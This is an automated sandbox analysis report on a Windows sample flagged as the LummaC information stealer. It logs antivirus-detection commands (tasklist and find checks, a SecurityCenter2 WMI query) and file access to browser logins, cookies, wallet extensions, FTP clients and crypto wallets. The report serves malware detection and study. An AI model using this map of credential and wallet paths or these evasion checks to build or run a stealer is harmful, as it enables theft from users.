Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "nightlife" Consultants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\174436\Produces.com Produces.com U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe "C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: Produces.com, 0000000B.00000000.1689720330.0000000000273000.00000002.00000001.01000000.00000007.sdmp, ulu_mon.exe, 0000002F.00000002.3162136925.0000000006051000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	Binary or memory string: Shell_TrayWnd
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	Binary or memory string: Shell_TrayWndTrayNotifyWndSV
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	Binary or memory string: Shell_TrayWndU

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\a329edd1 VolumeInformation

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000026.00000002.3009449248.000001F0BDBB4000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000026.00000002.3009344801.000001F0BD9DB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
